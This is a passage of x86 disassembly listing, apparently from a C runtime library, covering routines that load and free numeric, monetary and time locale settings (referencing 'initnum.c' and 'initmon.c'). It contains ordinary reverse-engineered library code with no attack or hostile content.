eax jmp short loc_435B57 ; --------------------------------------------------------------------------- loc_435B21: ; CODE XREF: sub_435A80+Bj mov off_453318, offset off_453320 mov ecx, dword_4E9438 push ecx call sub_4360F0 add esp, 4 push 2 mov edx, dword_4E9438 push edx call sub_41F970 add esp, 8 mov dword_4E9438, 0 xor eax, eax loc_435B57: ; CODE XREF: sub_435A80+37j ; sub_435A80+6Bj ... mov esp, ebp pop ebp retn sub_435A80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435B60 proc near ; CODE XREF: sub_435A80+40p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], 0 xor eax, eax mov ax, word_4E9472 mov [ebp+var_4], eax xor ecx, ecx mov cx, word_4E9474 mov [ebp+var_8], ecx cmp [ebp+arg_0], 0 jnz short loc_435B92 or eax, 0FFFFFFFFh jmp loc_4360EB ; --------------------------------------------------------------------------- loc_435B92: ; CODE XREF: sub_435B60+28j mov edx, [ebp+arg_0] add edx, 4 push edx push 31h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 8 push edx push 32h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0Ch push edx push 33h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 10h push edx push 34h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 14h push edx push 35h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 18h push edx push 36h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] push edx push 37h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 20h push edx push 2Ah mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 24h push edx push 2Bh mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 28h push edx push 2Ch mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 2Ch push edx push 2Dh mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 30h push edx push 2Eh mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 34h push edx push 2Fh mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 1Ch push edx push 30h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 38h push edx push 44h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 3Ch push edx push 45h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 40h push edx push 46h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 44h push edx push 47h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 48h push edx push 48h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 4Ch push edx push 49h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 50h push edx push 4Ah mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 54h push edx push 4Bh mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 58h push edx push 4Ch mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 5Ch push edx push 4Dh mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 60h push edx push 4Eh mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 64h push edx push 4Fh mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 68h push edx push 38h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 6Ch push edx push 39h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 70h push edx push 3Ah mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 74h push edx push 3Bh mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 78h push edx push 3Ch mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 7Ch push edx push 3Dh mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 80h push edx push 3Eh mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 84h push edx push 3Fh mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 88h push edx push 40h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 8Ch push edx push 41h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 90h push edx push 42h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 94h push edx push 43h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 98h push edx push 28h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 9Ch push edx push 29h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0A0h push edx push 1Fh mov eax, [ebp+var_8] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0A4h push edx push 20h mov eax, [ebp+var_8] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0A8h push edx push 1003h mov eax, [ebp+var_8] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_C] loc_4360EB: ; CODE XREF: sub_435B60+2Dj mov esp, ebp pop ebp retn sub_435B60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4360F0 proc near ; CODE XREF: sub_435A80+50p ; sub_435A80+7Cp ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jnz short loc_4360FE jmp loc_4363F9 ; --------------------------------------------------------------------------- loc_4360FE: ; CODE XREF: sub_4360F0+7j push 2 mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx call sub_41F970 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+8] push eax call sub_41F970 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] push edx call sub_41F970 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+10h] push ecx call sub_41F970 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax call sub_41F970 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+18h] push edx call sub_41F970 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_41F970 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+20h] push eax call sub_41F970 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+24h] push edx call sub_41F970 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+28h] push ecx call sub_41F970 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+2Ch] push eax call sub_41F970 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+30h] push edx call sub_41F970 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+34h] push ecx call sub_41F970 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] push eax call sub_41F970 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+38h] push edx call sub_41F970 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+3Ch] push ecx call sub_41F970 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+40h] push eax call sub_41F970 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+44h] push edx call sub_41F970 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+48h] push ecx call sub_41F970 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+4Ch] push eax call sub_41F970 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+50h] push edx call sub_41F970 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+54h] push ecx call sub_41F970 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+58h] push eax call sub_41F970 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+5Ch] push edx call sub_41F970 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+60h] push ecx call sub_41F970 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+64h] push eax call sub_41F970 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+68h] push edx call sub_41F970 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+6Ch] push ecx call sub_41F970 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+70h] push eax call sub_41F970 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+74h] push edx call sub_41F970 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+78h] push ecx call sub_41F970 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+7Ch] push eax call sub_41F970 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+80h] push edx call sub_41F970 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+84h] push ecx call sub_41F970 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+88h] push eax call sub_41F970 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+8Ch] push edx call sub_41F970 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+90h] push ecx call sub_41F970 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+94h] push eax call sub_41F970 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+98h] push edx call sub_41F970 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+9Ch] push ecx call sub_41F970 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+0A0h] push eax call sub_41F970 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+0A4h] push edx call sub_41F970 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+0A8h] push ecx call sub_41F970 add esp, 8 loc_4363F9: ; CODE XREF: sub_4360F0+9j pop ebp retn sub_4360F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_436400 proc near ; DATA XREF: .XComp0:00452A08o var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 xor eax, eax mov ax, word_4E946E mov [ebp+var_4], eax cmp dword_4E92EC, 0 jz loc_43657A push offset dword_4E943C push 0Eh mov ecx, [ebp+var_4] push ecx push 1 call sub_43AA10 add esp, 10h mov edx, [ebp+var_8] or edx, eax mov [ebp+var_8], edx push offset dword_4E9440 push 0Fh mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx push offset dword_4E9444 push 10h mov edx, [ebp+var_4] push edx push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, dword_4E9444 push edx call sub_4366B0 add esp, 4 cmp [ebp+var_8], 0 jz short loc_4364E9 push 2 mov eax, dword_4E943C push eax call sub_41F970 add esp, 8 push 2 mov ecx, dword_4E9440 push ecx call sub_41F970 add esp, 8 push 2 mov edx, dword_4E9444 push edx call sub_41F970 add esp, 8 mov dword_4E943C, 0 mov dword_4E9440, 0 mov dword_4E9444, 0 or eax, 0FFFFFFFFh jmp loc_4366A2 ; --------------------------------------------------------------------------- loc_4364E9: ; CODE XREF: sub_436400+8Fj mov eax, off_453408 cmp dword ptr [eax], offset dword_4533D0 jz short loc_436530 push 2 mov ecx, off_453408 mov edx, [ecx] push edx call sub_41F970 add esp, 8 push 2 mov eax, off_453408 mov ecx, [eax+4] push ecx call sub_41F970 add esp, 8 push 2 mov edx, off_453408 mov eax, [edx+8] push eax call sub_41F970 add esp, 8 loc_436530: ; CODE XREF: sub_436400+F4j mov ecx, off_453408 mov edx, dword_4E943C mov [ecx], edx mov eax, off_453408 mov ecx, dword_4E9440 mov [eax+4], ecx mov edx, off_453408 mov eax, dword_4E9444 mov [edx+8], eax mov ecx, off_453408 mov edx, [ecx] mov al, [edx] mov byte_4524F4, al mov dword_4524F8, 1 xor eax, eax jmp loc_4366A2 ; --------------------------------------------------------------------------- loc_43657A: ; CODE XREF: sub_436400+1Fj push 2 mov ecx, dword_4E943C push ecx call sub_41F970 add esp, 8 push 2 mov edx, dword_4E9440 push edx call sub_41F970 add esp, 8 push 2 mov eax, dword_4E9444 push eax call sub_41F970 add esp, 8 mov dword_4E943C, 0 mov dword_4E9440, 0 mov dword_4E9444, 0 push 88h push offset aInitnum_c ; "initnum.c" push 2 push 2 call sub_41EDD0 add esp, 10h mov ecx, off_453408 mov [ecx], eax mov edx, off_453408 cmp dword ptr [edx], 0 jnz short loc_4365FB or eax, 0FFFFFFFFh jmp loc_4366A2 ; --------------------------------------------------------------------------- loc_4365FB: ; CODE XREF: sub_436400+1F1j push offset a__1 ; "." mov eax, off_453408 mov ecx, [eax] push ecx call sub_422580 add esp, 8 push 8Dh push offset aInitnum_c ; "initnum.c" push 2 push 2 call sub_41EDD0 add esp, 10h mov edx, off_453408 mov [edx+4], eax mov eax, off_453408 cmp dword ptr [eax+4], 0 jnz short loc_43663F or eax, 0FFFFFFFFh jmp short loc_4366A2 ; --------------------------------------------------------------------------- loc_43663F: ; CODE XREF: sub_436400+238j mov ecx, off_453408 mov edx, [ecx+4] mov byte ptr [edx], 0 push 92h push offset aInitnum_c ; "initnum.c" push 2 push 2 call sub_41EDD0 add esp, 10h mov ecx, off_453408 mov [ecx+8], eax mov edx, off_453408 cmp dword ptr [edx+8], 0 jnz short loc_43667B or eax, 0FFFFFFFFh jmp short loc_4366A2 ; --------------------------------------------------------------------------- loc_43667B: ; CODE XREF: sub_436400+274j mov eax, off_453408 mov ecx, [eax+8] mov byte ptr [ecx], 0 mov edx, off_453408 mov eax, [edx] mov cl, [eax] mov byte_4524F4, cl mov dword_4524F8, 1 xor eax, eax loc_4366A2: ; CODE XREF: sub_436400+E4j ; sub_436400+175j ... mov esp, ebp pop ebp retn sub_436400 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4366B0 proc near ; CODE XREF: sub_436400+83p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx loc_4366B4: ; CODE XREF: sub_4366B0:loc_436727j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_436729 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] cmp eax, 30h jl short loc_4366ED mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 39h jg short loc_4366ED mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] sub ecx, 30h mov edx, [ebp+arg_0] mov [edx], cl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_436727 ; --------------------------------------------------------------------------- loc_4366ED: ; CODE XREF: sub_4366B0+17j ; sub_4366B0+22j mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 3Bh jnz short loc_43671E mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4366FE: ; CODE XREF: sub_4366B0+6Aj mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov al, [edx+1] mov [ecx], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_4366FE jmp short loc_436727 ; --------------------------------------------------------------------------- loc_43671E: ; CODE XREF: sub_4366B0+46j mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_436727: ; CODE XREF: sub_4366B0+3Bj ; sub_4366B0+6Cj jmp short loc_4366B4 ; --------------------------------------------------------------------------- loc_436729: ; CODE XREF: sub_4366B0+Cj mov esp, ebp pop ebp retn sub_4366B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_436730 proc near ; DATA XREF: .XComp0:004529FCo var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp dword_4E92E8, 0 jz loc_4367FC push 4Ah push offset aInitmon_c ; "initmon.c" push 2 push 30h push 1 call sub_41F230 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_436769 mov eax, 1 jmp loc_43685C ; --------------------------------------------------------------------------- loc_436769: ; CODE XREF: sub_436730+2Dj mov eax, [ebp+var_4] push eax call sub_436860 add esp, 4 test eax, eax jz short loc_43679D mov ecx, [ebp+var_4] push ecx call sub_436AF0 add esp, 4 push 2 mov edx, [ebp+var_4] push edx call sub_41F970 add esp, 8 mov eax, 1 jmp loc_43685C ; --------------------------------------------------------------------------- loc_43679D: ; CODE XREF: sub_436730+47j mov eax, [ebp+var_4] mov ecx, off_453408 mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_4] mov ecx, off_453408 mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp+var_4] mov ecx, off_453408 mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp+var_4] mov off_453408, eax mov ecx, dword_4E9448 push ecx call sub_436AF0 add esp, 4 push 2 mov edx, dword_4E9448 push edx call sub_41F970 add esp, 8 mov eax, [ebp+var_4] mov dword_4E9448, eax xor eax, eax jmp short loc_43685C ; --------------------------------------------------------------------------- loc_4367FC: ; CODE XREF: sub_436730+Bj mov ecx, off_453408 mov edx, [ecx] mov off_4533D8, edx mov eax, off_453408 mov ecx, [eax+4] mov off_4533DC, ecx mov edx, off_453408 mov eax, [edx+8] mov off_4533E0, eax mov off_453408, offset off_4533D8 mov ecx, dword_4E9448 push ecx call sub_436AF0 add esp, 4 push 2 mov edx, dword_4E9448 push edx call sub_41F970 add esp, 8 mov dword_4E9448, 0 xor eax, eax loc_43685C: ; CODE XREF: sub_436730+34j ; sub_436730+68j ... mov esp, ebp pop ebp retn sub_436730 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_436860 proc near ; CODE XREF: sub_436730+3Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 xor eax, eax mov ax, word_4E9468 mov [ebp+var_4], eax cmp [ebp+arg_0], 0 jnz short loc_436886 or eax, 0FFFFFFFFh jmp loc_436A69 ; --------------------------------------------------------------------------- loc_436886: ; CODE XREF: sub_436860+1Cj mov ecx, [ebp+arg_0] add ecx, 0Ch push ecx push 15h mov edx, [ebp+var_4] push edx push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 10h push edx push 14h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 14h push edx push 16h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 18h push edx push 17h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 1Ch push edx push 18h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] push eax call sub_436A70 add esp, 4 mov ecx, [ebp+arg_0] add ecx, 20h push ecx push 50h mov edx, [ebp+var_4] push edx push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 24h push edx push 51h mov eax, [ebp+var_4] push eax push 1 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 28h push edx push 1Ah mov eax, [ebp+var_4] push eax push 0 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 29h push edx push 19h mov eax, [ebp+var_4] push eax push 0 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Ah push edx push 54h mov eax, [ebp+var_4] push eax push 0 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Bh push edx push 55h mov eax, [ebp+var_4] push eax push 0 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Ch push edx push 56h mov eax, [ebp+var_4] push eax push 0 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Dh push edx push 57h mov eax, [ebp+var_4] push eax push 0 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Eh push edx push 52h mov eax, [ebp+var_4] push eax push 0 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Fh push edx push 53h mov eax, [ebp+var_4] push eax push 0 call sub_43AA10 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov eax, [ebp+var_8] loc_436A69: ; CODE XREF: sub_436860+21j mov esp, ebp pop ebp retn sub_436860 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_436A70 proc near ; CODE XREF: sub_436860+C8p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx loc_436A74: ; CODE XREF: sub_436A70:loc_436AE7j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_436AE9 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] cmp eax, 30h jl short loc_436AAD mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 39h jg short loc_436AAD mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] sub ecx, 30h mov edx, [ebp+arg_0] mov [edx], cl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_436AE7 ; --------------------------------------------------------------------------- loc_436AAD: ; CODE XREF: sub_436A70+17j ; sub_436A70+22j mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 3Bh jnz short loc_436ADE mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_436ABE: ; CODE XREF: sub_436A70+6Aj mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov al, [edx+1] mov [ecx], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_436ABE jmp short loc_436AE7 ; --------------------------------------------------------------------------- loc_436ADE: ; CODE XREF: sub_436A70+46j mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_436AE7: ; CODE XREF: sub_436A70+3Bj ; sub_436A70+6Cj jmp short loc_436A74 ; --------------------------------------------------------------------------- loc_436AE9: ; CODE XREF: sub_436A70+Cj mov esp, ebp pop ebp retn sub_436A70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_436AF0 proc near ; CODE XREF: sub_436730+4Dp ; sub_436730+A7p ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jnz short loc_436AFE jmp loc_436B81 ; --------------------------------------------------------------------------- loc_436AFE: ; CODE XREF: sub_436AF0+7j mov eax, [ebp+arg_0] cmp dword ptr [eax+0Ch], offset dword_4E94A8 jz short loc_436B81 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] push edx call sub_41F970 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+10h] push ecx call sub_41F970 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax call sub_41F970 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+18h] push edx call sub_41F970 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] push ecx call sub_41F970 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+20h] push eax call sub_41F970 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+24h] push edx call sub_41F970 add esp, 8 loc_436B81: ; CODE XREF: sub_436AF0+9j ; sub_436AF0+18j pop ebp 